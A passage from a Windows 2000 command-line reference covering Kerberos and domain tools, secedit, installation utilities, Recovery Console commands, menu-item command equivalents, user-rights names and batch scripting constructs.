List Kerberos ticket information (current tickets, or the ticket-granting ticket) or purge all&lt;br /&gt;
cached tickets.&lt;br /&gt;
ksetup&lt;br /&gt;
ksetup options&lt;br /&gt;
Configure a Windows 2000 client to use an MIT Kerberos server.&lt;br /&gt;
Options&lt;br /&gt;
[/Domain domain] [/Server server]&lt;br /&gt;
Specify the applicable domain and/or the server name for the command.&lt;br /&gt;
/SetRealm DNS-domain&lt;br /&gt;
Specify the desired Kerberos realm.&lt;br /&gt;
/MapUser kname name&lt;br /&gt;
Map the specified Kerberos principal to a local name.&lt;br /&gt;
/AddKDC | /DelKDC realm kdcname&lt;br /&gt;
Add /delete a KDC address for the specified realm.&lt;br /&gt;
/AddKPasswd | /DelKPasswd realm server&lt;br /&gt;
Add /remove a designated Kerberos password server.&lt;br /&gt;
/ChangePassword old new&lt;br /&gt;
Change the current user's password via Kpasswd. Requires /Domain.&lt;br /&gt;
/SetComputerPassword passwd&lt;br /&gt;
Set the password for the local computer.&lt;br /&gt;
ktpass&lt;br /&gt;
ktpass /Out file /Princ user /Pass pass | * ^ /MapUser&lt;br /&gt;
[/Crypto DES-CBC-MD5]&lt;br /&gt;
Generate a Kerberos keytab file for MIT Kerberos interoperability (designed to be merged&lt;br /&gt;
with the existing /etc/krb5.keytab file on the Unix system). The main purpose of this&lt;br /&gt;
command is to create account mappings for Unix Kerberos-aware services, enabling them to&lt;br /&gt;
use the Windows 2000 KDC.&lt;br /&gt;
The listed options specify the name of the output file as well as the Kerberos principal&lt;br /&gt;
username and password (use an asterisk to prompt for the password). /MapUser says to&lt;br /&gt;
create the Kerberos principal-to-local-account mapping, associating that user account with the&lt;br /&gt;
Unix service corresponding to the given Kerberos principal name. The listed /Crypto option&lt;br /&gt;
changes the encryption scheme from CRC to MD5.&lt;br /&gt;
The command has additional options and capabilities; see W2RKSupp.Chm for details.&lt;br /&gt;
movetree&lt;br /&gt;
movetree /action /S server /Sdn source-dn /D server ^ /Ddn&lt;br /&gt;
dest-dn&lt;br /&gt;
Move an Active Directory object tree between domains within the same forest. The command&lt;br /&gt;
indicates that the specified subtree on the specified server is to move to the indicated server&lt;br /&gt;
and tree location. Servers must be specified with fully qualified domain names.&lt;br /&gt;
Action is either /Check (preview the move without actually moving), /Start (begin the move&lt;br /&gt;
operation after a preliminary check operation), /StartNoCheck (start the move without&lt;br /&gt;
checking first), or /Continue (resume a previous move operation).&lt;br /&gt;
See W2RKSupp.Chm for details and restrictions.&lt;br /&gt;
Options&lt;br /&gt;
/Verbose&lt;br /&gt;
Give more detail in the command output.&lt;br /&gt;
/U [domain\]user /P password&lt;br /&gt;
Run the command in the specified user context.&lt;br /&gt;
netdiag&lt;br /&gt;
netdiag [options]&lt;br /&gt;
Test various aspects of network connectivity for the local server.&lt;br /&gt;
Options&lt;br /&gt;
/D: domain&lt;br /&gt;
Connect to a domain controller in the specified domain (the default is the local&lt;br /&gt;
domain).&lt;br /&gt;
/TEST: list | /SKIP: list [ /C]&lt;br /&gt;
Specify which tests to run. /TEST takes a specific list of tests to run, while /SKIP&lt;br /&gt;
takes a list of tests to skip (all others are performed). In either case, /C says to extend&lt;br /&gt;
the test set to include some optional tests. See the online command help for the&lt;br /&gt;
complete list of tests.&lt;br /&gt;
/Q | /V | /DEBUG&lt;br /&gt;
Quiet /verbose/super-verbose output mode.&lt;br /&gt;
/L&lt;br /&gt;
Log results to the file NetDiag.Log in the current directory.&lt;br /&gt;
/DcAccountEnum&lt;br /&gt;
List the domain controller computer accounts.&lt;br /&gt;
/FIX&lt;br /&gt;
Fix minor problems encountered, as applicable.&lt;br /&gt;
netdom&lt;br /&gt;
netdom action [options]&lt;br /&gt;
Manage Windows NT/2000 domains and trust relationships.&lt;br /&gt;
Common Options&lt;br /&gt;
/D: domain [ /Ud: [ domain\] user /Pd: pwd | *]&lt;br /&gt;
Specify the target domain, and optionally specify a username and password for&lt;br /&gt;
authentication. (* says to prompt for the password.)&lt;br /&gt;
/Uo: [ domain\]user /Po: pwd | *&lt;br /&gt;
Specify a username and password for authentication upon the domain specified as the&lt;br /&gt;
object of the action keyword. (* says to prompt for the password.)&lt;br /&gt;
/S: server&lt;br /&gt;
Operate upon the specified domain controller.&lt;br /&gt;
/V&lt;br /&gt;
Verbose command output.&lt;br /&gt;
Available Operations&lt;br /&gt;
netdom join computer /D: domain [ /OU:ou-dn] [ /Reb: [ s ]]&lt;br /&gt;
Cause the specified computer to join the indicated domain and organizational unit,&lt;br /&gt;
specified by distinguished name. /DC says to make the system a domain controller,&lt;br /&gt;
and /Reb causes a reboot on the affected computer s seconds after the operation&lt;br /&gt;
completes (the default is 20 seconds).&lt;br /&gt;
The add keyword may be used in place of join to create the computer account in the&lt;br /&gt;
target domain without actually joining. The option /DC may be added to create a&lt;br /&gt;
domain controller account.&lt;br /&gt;
netdom move computer /D: domain [ /OU:ou-dn] [ /Reb:[ s ]]&lt;br /&gt;
Move the specified computer to join the indicated domain and organizational unit,&lt;br /&gt;
specified by distinguished name. /DC says to make the system a domain controller,&lt;br /&gt;
and /Reb causes a reboot on the affected computer s seconds after the operation&lt;br /&gt;
completes (the default is 20 seconds).&lt;br /&gt;
netdom rename computer /D: domain [ /Reb: [ s ]]&lt;br /&gt;
Change the name of a Windows NT 4 BDC computer.&lt;br /&gt;
netdom remove computer /D: domain [/Reb: [ s ]]&lt;br /&gt;
Remove a workstation or member server from a domain (not valid for a domain&lt;br /&gt;
controller).&lt;br /&gt;
netdom verify | reset computer /D: domain [ /Reb:[ s ]]&lt;br /&gt;
Verify or reset (respectively) the secure connection between a domain member and a&lt;br /&gt;
domain controller.&lt;br /&gt;
netdom query item /D: domain [/Verify] [ /Reset]&lt;br /&gt;
Obtain information about the specified domain. item can be either Workstation,&lt;br /&gt;
Server, DC, OU, Trust (display list of items of the specified type), PDC (display the&lt;br /&gt;
primary domain controller), or FSMO (display FSMO owners). Trust accepts the&lt;br /&gt;
/Direct option, which says to limit the list to directly established trust relationships,&lt;br /&gt;
excluding implied ones.&lt;br /&gt;
/Verify says to verify the functioning of the secure channel used for trusts. /Reset&lt;br /&gt;
says to resynchronize that connection.&lt;br /&gt;
netdom time [system] /D:domain /Verify | /Reset [who]&lt;br /&gt;
Verify/reset (respectively) time synchronization within the specified domain, with&lt;br /&gt;
respect to the time master. If a specific system is given, then the command is limited&lt;br /&gt;
to that computer. who is either Workstation or Server, and it indicates whether&lt;br /&gt;
workstations/standalone servers or domain controllers should be verified or&lt;br /&gt;
synchronized.&lt;br /&gt;
netdom trust trusting-domain /D: trusted-domain [options]&lt;br /&gt;
Manage trust relationships. Options control the specific actions and are mostly selfexplanatory:&lt;br /&gt;
/Add, /Remove [/Force], /Verify, and /Two-Way. Trusts can also be&lt;br /&gt;
established with non-Windows Kerberos domains via the following options: /Add,&lt;br /&gt;
/Realm, /PasswordT: pwd (password for new trust), and /Transitive (off by default&lt;br /&gt;
for non-Windows domains). /Kerberos can be added to /Verify commands to&lt;br /&gt;
exercise this protocol with non-Windows domains.&lt;br /&gt;
nltest&lt;br /&gt;
nltest [options]&lt;br /&gt;
Perform various domain administration tasks. This command overlaps with netdom&lt;br /&gt;
considerably. Only its unique, most useful features are listed here; see W2RKSupp.Chm for&lt;br /&gt;
additional features.&lt;br /&gt;
Options&lt;br /&gt;
/Server: system&lt;br /&gt;
Run the command on the specified computer.&lt;br /&gt;
/Repl | /Sync&lt;br /&gt;
Immediately force a partial or full synchronization of the local system or the domain&lt;br /&gt;
controller specified to /Server.&lt;br /&gt;
/SC_Change_Pwd: domain&lt;br /&gt;
Change the secure channel password for the specified domain.&lt;br /&gt;
/DSGetDC: domain&lt;br /&gt;
Display detailed information about the specified domain controller.&lt;br /&gt;
/DSGetSite&lt;br /&gt;
Display the name of the current site.&lt;br /&gt;
search.vbs&lt;br /&gt;
[cscript] search.vbs LDAP://dist-name [options]&lt;br /&gt;
Search the Active Directory. The required argument is the distinguished name of the point at&lt;br /&gt;
which to begin the search, preceded by LDAP://. (cscript is not needed if it is the default&lt;br /&gt;
WSH engine.)&lt;br /&gt;
Options&lt;br /&gt;
/C: criteria&lt;br /&gt;
Specify search criteria (in standard LDAP format). The default is&lt;br /&gt;
"(ObjectCategory=*)".&lt;br /&gt;
/S: scope&lt;br /&gt;
Set the depth of the search to either BASE, ONELEVEL (the default), or SUBTREE.&lt;br /&gt;
/P: props-to-display&lt;br /&gt;
Display the specified object properties (the default is AdsPath).&lt;br /&gt;
/U:user /P: pwd&lt;br /&gt;
Specify the username and password for authentication.&lt;br /&gt;
secedit&lt;br /&gt;
secedit /action [options]&lt;br /&gt;
Verify or refresh system security and manipulate security templates. (In this text, we consider&lt;br /&gt;
only the former functionality; see the ntbooks documentation for details.) The /action option&lt;br /&gt;
specifies the operation to perform.&lt;br /&gt;
secedit /RefreshPolicy Machine_Policy | UserPolicy ^&lt;br /&gt;
[/Enforce]&lt;br /&gt;
Reapply computer or user security settings to all Group Policy Objects. /Enforce forces the&lt;br /&gt;
refresh even if the settings have not changed.&lt;br /&gt;
secedit /Export /Cfg template-file [/Areas list] ^&lt;br /&gt;
[/MergedPolicy][/Log file] [/Verbose | /Quiet]&lt;br /&gt;
Export security policy settings (merging domain and local policies if /MergedPolicy is&lt;br /&gt;
included) to template-file, limiting settings to the space-separated list of specified areas&lt;br /&gt;
(SecurityPolicy, Group_Mgmt, User_Rights, RegKeys, FileStore, Services), if applicable.&lt;br /&gt;
secedit /Analyze /Cfg template-file /DB newfile.sdb ^&lt;br /&gt;
/Log file [/Verbose| /Quiet]&lt;br /&gt;
Compare current system security settings to those stored in the specified template file,&lt;br /&gt;
sending the results to the specified log file. In this case, the /DB option specifies the name of&lt;br /&gt;
a new security database file to create and use to perform the analysis; the settings in the&lt;br /&gt;
specified template file are imported into it for this purpose.&lt;br /&gt;
secedit /Configure /Cfg template-file /DB file.sdb^&lt;br /&gt;
[/Areas list][/Overwrite] [/Log file] ^&lt;br /&gt;
[/Verbose | /Quiet]&lt;br /&gt;
Apply the template stored in the specified file to the system, limiting settings to the specified&lt;br /&gt;
areas, if applicable. The database file is again used as the source of the settings to apply; the&lt;br /&gt;
template file is appended to any existing settings in it (or overwrites it if that option is&lt;br /&gt;
included) automatically.&lt;br /&gt;
secedit /Validate template-file&lt;br /&gt;
Validate the syntax of the specified template file.&lt;br /&gt;
Common Options&lt;br /&gt;
/Log file&lt;br /&gt;
Specify the location of the command's log file, in which detailed results are written.&lt;br /&gt;
/Verbose | /Quiet&lt;br /&gt;
Specify extra-detailed or minimal command output. All data is still written to the log&lt;br /&gt;
file, regardless of these options.&lt;br /&gt;
1.18 Installation-Related Commands&lt;br /&gt;
instalerRK, showinstRK, undoinstRK&lt;br /&gt;
instaler basename setup-command&lt;br /&gt;
showinst basename&lt;br /&gt;
undoinst&lt;br /&gt;
instaler performs and monitors an installation procedure. This command records all system&lt;br /&gt;
changes that result from the specified installation process in the file basename.log; this file&lt;br /&gt;
can be viewed using the showinst utility. instaler also creates the file basename.iml for use&lt;br /&gt;
by undoinst to remove the installed software.&lt;br /&gt;
netsetRK&lt;br /&gt;
netset answer-file&lt;br /&gt;
Set various networking parameters, as specified in the answer file. See W2RKTools.Chm for&lt;br /&gt;
details.&lt;br /&gt;
sysdiffRK&lt;br /&gt;
sysdiff /action arguments&lt;br /&gt;
Record or apply system differences.&lt;br /&gt;
Options&lt;br /&gt;
/Snap snap-file&lt;br /&gt;
Record the current computer state for later comparison. After executing this&lt;br /&gt;
command, perform the operations whose effects you want to record.&lt;br /&gt;
/Diff snap-file diff-file&lt;br /&gt;
Compare the current system state to the one in snap-file, and record the differences in&lt;br /&gt;
diff-file.&lt;br /&gt;
/Dump diff-file text-file&lt;br /&gt;
List the differences in diff-file in the specified text file in a readable form.&lt;br /&gt;
/Apply [/M] diff-file&lt;br /&gt;
Apply the changes in the specified file to the current system, optionally mapping any&lt;br /&gt;
user profile files to the default user.&lt;br /&gt;
/Inf [/M] diff-file install-dir&lt;br /&gt;
Apply the changes in the specified file to the installation directory rooted at installdir,&lt;br /&gt;
optionally mapping any user profile files to the default user.&lt;br /&gt;
sysprepRK&lt;br /&gt;
sysprep [options]&lt;br /&gt;
Prepare the local system for cloning (i.e., copying to multiple target systems via automated&lt;br /&gt;
disk duplication). sysprep genericizes the system suitable for multiple deployment. See&lt;br /&gt;
W2RKTools.Chm for details.&lt;br /&gt;
Be sure to download the updated version of sysprep from the Microsoft web site (Version 1.1&lt;br /&gt;
as of this writing).&lt;br /&gt;
winnt&lt;br /&gt;
winnt [options]&lt;br /&gt;
Install (or upgrade) Windows 2000. This command is most suitable for clean installs. See the&lt;br /&gt;
Deploy.Chm and Unattend.Doc help files for details on answer files and UDF files.&lt;br /&gt;
Use winnt32 to upgrade from older operating systems; see the ntbooks documentation for&lt;br /&gt;
details.&lt;br /&gt;
Options&lt;br /&gt;
/S: fullpath&lt;br /&gt;
Specify the location of the Windows 2000 installation files.&lt;br /&gt;
/T:drive&lt;br /&gt;
Indicate which drive to use for temporary files.&lt;br /&gt;
/U:answer-file [/UDF:id, file]&lt;br /&gt;
Point to the answer file for an unattended installation, along with the optional&lt;br /&gt;
Uniqueness Database file and the desired ID that identifies the section to use with the&lt;br /&gt;
latter file for this installation.&lt;br /&gt;
/R: folder | /RX: folder&lt;br /&gt;
Specify an optional folder to install, which is retained /deleted after completion,&lt;br /&gt;
respectively.&lt;br /&gt;
/E:command&lt;br /&gt;
Indicate the command to run at the end of the GUI setup process.&lt;br /&gt;
1.19 The Windows 2000 Recovery Console&lt;br /&gt;
The Recovery Console facility allows Windows 2000 to boot into a limited, console-based&lt;br /&gt;
mode suitable for repairing damaged systems and configurations. It can be entered by booting&lt;br /&gt;
from the Windows 2000 distribution CD, and it may be installed on the boot menu with the&lt;br /&gt;
following command (where x : is the CD-ROM drive):&lt;br /&gt;
x :\I386\Winnt32.Exe /cmdcons&lt;br /&gt;
The Recovery Console supports the following standard Windows 2000 commands: attrib,&lt;br /&gt;
batch, cd, chkdsk, cls, copy, delete, dir, expand, format, help, mkdir, rename, rmdir, and&lt;br /&gt;
type. However, few or no options are supported for any of them, and their functioning has&lt;br /&gt;
been simplified. For example, copy can only copy a single file. In addition, the following&lt;br /&gt;
Recovery Console-specific commands are available:&lt;br /&gt;
enable service-or-driver[start-type]&lt;br /&gt;
Enable/start the specified service or device driver; start-type sets the startup attribute&lt;br /&gt;
for the service/driver, either SERVICE_BOOT_START (start driver at system boot),&lt;br /&gt;
SERVICE_SYSTEM_START (start driver during power-up boot),&lt;br /&gt;
SERVICE_AUTO_START (start service at system boot),&lt;br /&gt;
SERVICE_DEMAND_START (manual service startup), or SERVICE_DISABLED&lt;br /&gt;
(service is disabled).&lt;br /&gt;
disable service-or-driver&lt;br /&gt;
Disable system service or device driver.&lt;br /&gt;
diskpart /delete | /add device&lt;br /&gt;
Manage hard drive partitions, where the options perform the associated action. The&lt;br /&gt;
device may be specified as a drive letter or as a device name (see the map command&lt;br /&gt;
output for the format).&lt;br /&gt;
exit&lt;br /&gt;
Terminate the Recovery Console and reboot the system.&lt;br /&gt;
fixboot [x :]&lt;br /&gt;
Write a new partition boot sector on the system partition of the specified drive&lt;br /&gt;
(defaults to the system drive).&lt;br /&gt;
fixmbr [device]&lt;br /&gt;
Write a new master boot record onto the specified disk (default to the system disk).&lt;br /&gt;
The device is specified as \Device\HardDiskn.&lt;br /&gt;
listsvc&lt;br /&gt;
List the available services and device drivers.&lt;br /&gt;
logon&lt;br /&gt;
Select a Windows 2000 installation to access.&lt;br /&gt;
map [arc]&lt;br /&gt;
Display all drive letters to full device name mappings. If arc is included, devices are&lt;br /&gt;
specified as ARC paths.&lt;br /&gt;
systemroot&lt;br /&gt;
Set the current directory to the Windows 2000 system directory.&lt;br /&gt;
set [var [=value]]&lt;br /&gt;
Set the environment variable values. By default, this command is disabled. To enable&lt;br /&gt;
it, the following Group Policy setting must be enabled: Local Computer Policy&lt;br /&gt;
Computer Configuration Windows Settings Security Settings Local&lt;br /&gt;
Policies Security Options Recovery Console Allow copy to floppy and&lt;br /&gt;
access to all drives and folders. When this is set to 1, use the set command during a&lt;br /&gt;
Recovery Console session to enable various features by setting the following&lt;br /&gt;
variables to true:&lt;br /&gt;
AllowWildCards&lt;br /&gt;
Allow wildcards in file specifications.&lt;br /&gt;
AllowAllPaths&lt;br /&gt;
Access files and directories in nonsystem partitions.&lt;br /&gt;
AllowRemovableMedia&lt;br /&gt;
Allow file copies to removable media (by default, files can only be copied from such&lt;br /&gt;
media).&lt;br /&gt;
NoCopyPrompt&lt;br /&gt;
Suppress file overwrite prompts.&lt;br /&gt;
1.19.1 Creating an Emergency Repair Disk&lt;br /&gt;
Use the Windows 2000 Backup facility (the ntbackup command), and select the Tools&lt;br /&gt;
Create an Emergency Repair Disk menu path.&lt;br /&gt;
1.20 Command Equivalents for Program Menu Items&lt;br /&gt;
Note: not all items are present on all systems. Daggered items may not be located in the&lt;br /&gt;
default search path:&lt;br /&gt;
Menu Item Command&lt;br /&gt;
Administrative Tools Menu&lt;br /&gt;
Active Directory Domains and Trusts domain.msc&lt;br /&gt;
Active Directory Migration Tool admtagnt&lt;br /&gt;
Active Directory Sites and Services dssites.msc&lt;br /&gt;
Active Directory Schema Manager schmmgmt.msc&lt;br /&gt;
Active Directory Users and Computers dsa.msc&lt;br /&gt;
Backup ntbackup&lt;br /&gt;
Certification Authority certsrv.msc&lt;br /&gt;
Cluster Administration cluadmin&lt;br /&gt;
Component Services comexp.msc&lt;br /&gt;
Computer Management compmgmt&lt;br /&gt;
Configure Your Server cmak&lt;br /&gt;
Connection Manager Administration cmak&lt;br /&gt;
Data Sources (ODBC) odbcad32&lt;br /&gt;
DHCP dhcpmgmt.msc&lt;br /&gt;
Distributed File System dfsgui.msc&lt;br /&gt;
DNS dnsmgmt.msc&lt;br /&gt;
Domain Controller Security Policy dcpol.msc&lt;br /&gt;
Domain Security Policy dompol.msc&lt;br /&gt;
Event Viewer eventvwr&lt;br /&gt;
Indexing Service ciadv.msc&lt;br /&gt;
Internet Authentication Service ias.msc&lt;br /&gt;
Internet Services Manager iis.msc&lt;br /&gt;
License Manager llsmgr&lt;br /&gt;
Local Security Policy secpol.msc&lt;br /&gt;
Network Monitor netmon&lt;br /&gt;
Performance Monitor perfmon&lt;br /&gt;
QoS Admission Control acssnap.msc&lt;br /&gt;
Remote Storage rsadmin.msc&lt;br /&gt;
Removable Storage ntmsmgr.msc&lt;br /&gt;
Routing and Remote Access rrasmgmt&lt;br /&gt;
Server Manager srvmgr&lt;br /&gt;
Task Manager taskmgr&lt;br /&gt;
Telephony tapimgmt.msc&lt;br /&gt;
Telnet Server Administration tlntadmn&lt;br /&gt;
Terminal Server Manager tsadmin&lt;br /&gt;
Terminal Services Client mstsc&lt;br /&gt;
Terminal Services Client Connection Manager conman&lt;br /&gt;
Terminal Services Licensing Manager licmgr&lt;br /&gt;
User Manager for Domains (NT4) usrmgr&lt;br /&gt;
Windows 2000 Diagnostics winmsd&lt;br /&gt;
WINS winsmgmt.msc&lt;br /&gt;
Windows 2000 Support Tools Menu&lt;br /&gt;
Active Directory Administration Tool ldp&lt;br /&gt;
Active Directory Replication Monitor replmon&lt;br /&gt;
ADSI Edit adsiedit&lt;br /&gt;
Application Compatibility Tool apcompat&lt;br /&gt;
Command Prompt cmd&lt;br /&gt;
Dependency Walker depends&lt;br /&gt;
DiskProbe dskprobe&lt;br /&gt;
Global Flags Editor gflags&lt;br /&gt;
Process Viewer pviewer&lt;br /&gt;
Security Administration Tools sidwalk.msc&lt;br /&gt;
SNMP Query Utility snmputilg&lt;br /&gt;
Windiff windiff&lt;br /&gt;
Veritas Software Menu&lt;br /&gt;
VERITAS Discover discoz&lt;br /&gt;
VERITAS Software Console seasw&lt;br /&gt;
Other Useful Commands&lt;br /&gt;
NT4 User Manager for Domains usrmgr&lt;br /&gt;
Active Directory Install Wizard (Change Server Role) dcpromo&lt;br /&gt;
Open Control Panel Folder control&lt;br /&gt;
Registry Editor regedt32&lt;br /&gt;
Generic MMC Console mmc&lt;br /&gt;
Remote Boot Disk Generator rbfg&lt;br /&gt;
IP Security Monitor ipsecmon&lt;br /&gt;
Verify System File Signatures sigverif&lt;br /&gt;
1.21 User Rights and System Privileges&lt;br /&gt;
Right/Privilege Internal Name&lt;br /&gt;
Access this computer from a network SeNetworkLogonRight&lt;br /&gt;
Act as part of the operating system SeTcbPrivilege&lt;br /&gt;
Add workstations to a domain SeMachineAccountPrivilege&lt;br /&gt;
Back up files and directories SeBackupPrivilege&lt;br /&gt;
Bypass traverse checking SeChangeNotifyPrivilege&lt;br /&gt;
Change the system time SeSystemTimePrivilege&lt;br /&gt;
Create a pagefile SeCreatePagefilePrivilege&lt;br /&gt;
Create a token object SeCreateTokenPrivilege&lt;br /&gt;
Create permanent shared objects SeCreatePermanentPrivilege&lt;br /&gt;
Debug programs SeDebugPrivilege&lt;br /&gt;
Deny access to this computer from the network SeDenyNetworkLogonRight&lt;br /&gt;
Deny local logon SeDenyInteractiveLogonRight&lt;br /&gt;
Deny logon as a batch job SeDenyBatchLogonRight&lt;br /&gt;
Deny logon as a service SeDenyServiceLogonRight&lt;br /&gt;
Enable computer and user accounts to be trusted for delegation SeEnableDelegationPrivilege&lt;br /&gt;
Force shutdown from a remote system SeRemoteShutdownPrivilege&lt;br /&gt;
Generate security audits SeAuditPrivilege&lt;br /&gt;
Increase quotas SeIncreaseQuotaPrivilege&lt;br /&gt;
Increase scheduling priority SeIncreaseBasePriorityPrivilege&lt;br /&gt;
Load and unload device drivers SeLoadDriverPrivilege&lt;br /&gt;
Lock pages in memory SeLockMemoryPrivilege&lt;br /&gt;
Log on as a batch job SeBatchLogonRight&lt;br /&gt;
Log on as a service SeServiceLogonRight&lt;br /&gt;
Log on locally SeInteractiveLogonRight&lt;br /&gt;
Manage Auditing and Security logs SeSecurityPrivilege&lt;br /&gt;
Modify firmware environment values SeSystemEnvironmentPrivilege&lt;br /&gt;
Profile a single process SeProfileSingleProcessPrivilege&lt;br /&gt;
Profile system performance SeSystemProfilePrivilege&lt;br /&gt;
Remove computer from docking station SeUndockPrivilege&lt;br /&gt;
Replace a process-level token SeAssignPrimaryTokenPrivilege&lt;br /&gt;
Restore files and directories SeRestorePrivilege&lt;br /&gt;
Shut down the system SeShutdownPrivilege&lt;br /&gt;
Synchronize directory service data SeSynchAgentPrivilege&lt;br /&gt;
Take ownership of files or other objects SeTakeOwnershipPrivilege&lt;br /&gt;
1.22 Script-Related Constructs&lt;br /&gt;
:label&lt;br /&gt;
The named location within the script (target of the goto or call command).&lt;br /&gt;
%m&lt;br /&gt;
The argument number m. (Access arguments above the ninth one via the shift&lt;br /&gt;
command.)&lt;br /&gt;
%~cm&lt;br /&gt;
The modified argument m, where c can be one or more of the following code letters,&lt;br /&gt;
which indicate the parts of the argument to use:&lt;br /&gt;
f:&lt;br /&gt;
Full pathname.&lt;br /&gt;
d:&lt;br /&gt;
Drive letter only.&lt;br /&gt;
p:&lt;br /&gt;
Path only.&lt;br /&gt;
n:&lt;br /&gt;
Filename only.&lt;br /&gt;
x:&lt;br /&gt;
Extension only.&lt;br /&gt;
s:&lt;br /&gt;
Use 8.3 names (valid with n and x).&lt;br /&gt;
$PATH:&lt;br /&gt;
Examines the search path in the PATH environment variable and returns the fully&lt;br /&gt;
qualified pathname for the first match for the argument. Returns an empty string if the&lt;br /&gt;
item is not found.&lt;br /&gt;
%*&lt;br /&gt;
Corresponds to all command parameters.&lt;br /&gt;
%var %&lt;br /&gt;
Value of variable var (local or environment).&lt;br /&gt;
errorlevel&lt;br /&gt;
An internal variable set by various commands that often indicates contents of user&lt;br /&gt;
input (see the discussion of the if command in the next section).&lt;br /&gt;
1.23 Commands Useful in Scripts&lt;br /&gt;
call&lt;br /&gt;
call file | :label [args]&lt;br /&gt;
Run the specified external script file or labeled subroutine within the current script.&lt;br /&gt;
choiceRK&lt;br /&gt;
choice [/C:choices] [/S] [/T:c,n] prompt-string&lt;br /&gt;
Prompt user to select from a list of choices, using the specified string as the prompt text. Sets&lt;br /&gt;
the ERRORLEVEL variable to the selected choice number (starting at 1).&lt;br /&gt;
Options&lt;br /&gt;
/C: choices&lt;br /&gt;
Specify choice letters (the default is YN).&lt;br /&gt;
/S&lt;br /&gt;
Make choices case-sensitive.&lt;br /&gt;
/T: c,n&lt;br /&gt;
Select default choice c after a timeout of n seconds.&lt;br /&gt;
cls&lt;br /&gt;
cls&lt;br /&gt;
Clear the screen.&lt;br /&gt;
echo&lt;br /&gt;
echo message&lt;br /&gt;
Display the specified message text on screen. message may not be null. (A string consisting&lt;br /&gt;
solely of a period at the right margin is the conventional way to create a "blank" output line.)&lt;br /&gt;
echo ON | OFF&lt;br /&gt;
Enable or disable command echoing (it is enabled by default).&lt;br /&gt;
exit&lt;br /&gt;
exit&lt;br /&gt;
Terminate a script immediately, or terminate the current command interpreter if it is executed&lt;br /&gt;
interactively. (See also goto :EOF.)&lt;br /&gt;
for&lt;br /&gt;
Loop construct.&lt;br /&gt;
for [/D] %var% in (filelist) do command&lt;br /&gt;
Loop over a list of files. The specified variable is set to each successive item in the file list&lt;br /&gt;
each time it goes through the loop.&lt;br /&gt;
/D says to match directory names in filelist only.&lt;br /&gt;
for /L %var% in (m,j,n) do command&lt;br /&gt;
Loop from m to n by j, using the specified variable as the loop index.&lt;br /&gt;
forfilesRK&lt;br /&gt;
forfiles [selection-options] [-c"command"]&lt;br /&gt;
Perform a command on each file in a list. (The default action is to display the filename.)&lt;br /&gt;
Options&lt;br /&gt;
-c "command "&lt;br /&gt;
Specify the command to execute. The following case-sensitive constructs are&lt;br /&gt;
available for use within commands:&lt;br /&gt;
@FILE Current filename&lt;br /&gt;
@FNAME_WITHOUT_EXT Bare filename&lt;br /&gt;
@EXT File extension&lt;br /&gt;
@PATH Directory location of fil&lt;br /&gt;
@RELPATH Directory location of file, relative to the current directory&lt;br /&gt;
@ISDIR TRUE /FALSE as appropriate&lt;br /&gt;
@FSIZE File size&lt;br /&gt;
@FDATE File modification date:yyyymmdd&lt;br /&gt;
@FTIME File modification time:hhmmss&lt;br /&gt;
The default command is cmd /c echo @FILE.&lt;br /&gt;
-pdir&lt;br /&gt;
Specify the directory location at which to start the search (the default is the current&lt;br /&gt;
directory).&lt;br /&gt;
-m string&lt;br /&gt;
Select the files matching the specified string, which may contain wildcards (the&lt;br /&gt;
default is *.*).&lt;br /&gt;
-d+ |-ddmmyyyy | n&lt;br /&gt;
Select the files last modified on the specified date, or before (-) or after (+) it. If a&lt;br /&gt;
number is given instead of a date, select the files modified (-)/not modified (+) within&lt;br /&gt;
the last n days.&lt;br /&gt;
-s&lt;br /&gt;
Recurse subdirectories.&lt;br /&gt;
-v&lt;br /&gt;
Verbose output mode.&lt;br /&gt;
freediskRK&lt;br /&gt;
freedisk x: min-bytes&lt;br /&gt;
Set %ErrorLevel% to 1 if the amount of free space on the specified drive is less than the&lt;br /&gt;
indicated minimum size requirement.&lt;br /&gt;
gettypeRK&lt;br /&gt;
gettype [\\server] [/S]&lt;br /&gt;
Set %ErrorLevel% to a value indicating the operating system running on the local /specified&lt;br /&gt;
system [1=Windows NT Workstation, 2=Windows 2000 Professional, 3=Windows NT Server&lt;br /&gt;
(non-DC), 4=Windows 2000 Server (non-DC), 5=Windows NT domain controller,&lt;br /&gt;
6=Windows 2000 DC, 7=Windows NT Enterprise/Terminal Server (non-DC), 8=Windows&lt;br /&gt;
NT Enterprise/Terminal Server (DC)].&lt;br /&gt;
/S suppresses command output.&lt;br /&gt;
goto&lt;br /&gt;
goto label&lt;br /&gt;
Jump to the named location in the script.&lt;br /&gt;
goto :EOF&lt;br /&gt;
Jump to the end of the current script file.&lt;br /&gt;
if&lt;br /&gt;
A conditional command. In all cases, including the not keyword, it inverts the logical&lt;br /&gt;
expression.&lt;br /&gt;
if [not] errorlevel n command&lt;br /&gt;
Execute command if the value of the ERRORLEVEL variable is /isn't greater than or equal to&lt;br /&gt;
n.&lt;br /&gt;
if [not] defined variable command&lt;br /&gt;
Execute command if the specified variable is /isn't defined.&lt;br /&gt;
if [not] exist file command&lt;br /&gt;
Execute command if the specified file does/doesn't exist.&lt;br /&gt;
if [not] [/I] string1 op string2 command&lt;br /&gt;
Execute command if the specified string comparison expression is true/false. The available&lt;br /&gt;
operators are:&lt;br /&gt;
== | EQU&lt;br /&gt;
Equal.&lt;br /&gt;
NEQ&lt;br /&gt;
Not equal.&lt;br /&gt;
LSS&lt;br /&gt;
Less than.&lt;br /&gt;
LEQ&lt;br /&gt;
Less than or equal.&lt;br /&gt;
GTR&lt;br /&gt;
Greater than.&lt;br /&gt;
GEQ&lt;br /&gt;
Greater than or equal.&lt;br /&gt;
All operators are case-sensitive. /I says to perform a case-insensitive comparison.&lt;br /&gt;
ifmemberRK&lt;br /&gt;
ifmember groups&lt;br /&gt;
Set %ErrorLevel% to 1 if the current user is a member of any of the specified groups.&lt;br /&gt;
Options&lt;br /&gt;
/Verbose&lt;br /&gt;
Display all group membership matches.&lt;br /&gt;
/List&lt;br /&gt;
List all groups of which the current user is a member (the group list is ignored).&lt;br /&gt;
pause&lt;br /&gt;
pause&lt;br /&gt;
Pause execution until the user presses a key.&lt;br /&gt;
prompt&lt;br /&gt;
prompt text&lt;br /&gt;
Set the command prompt to text, which can contain the following codes, among others (see&lt;br /&gt;
prompt /? for more information):&lt;br /&gt;
$D, $T&lt;br /&gt;
Current date, current time.&lt;br /&gt;
$G&lt;br /&gt;
Greater than sign (&amp;gt;).&lt;br /&gt;
$N&lt;br /&gt;
Current drive letter.&lt;br /&gt;
$P&lt;br /&gt;
Current drive and working directory.&lt;br /&gt;
$S&lt;br /&gt;
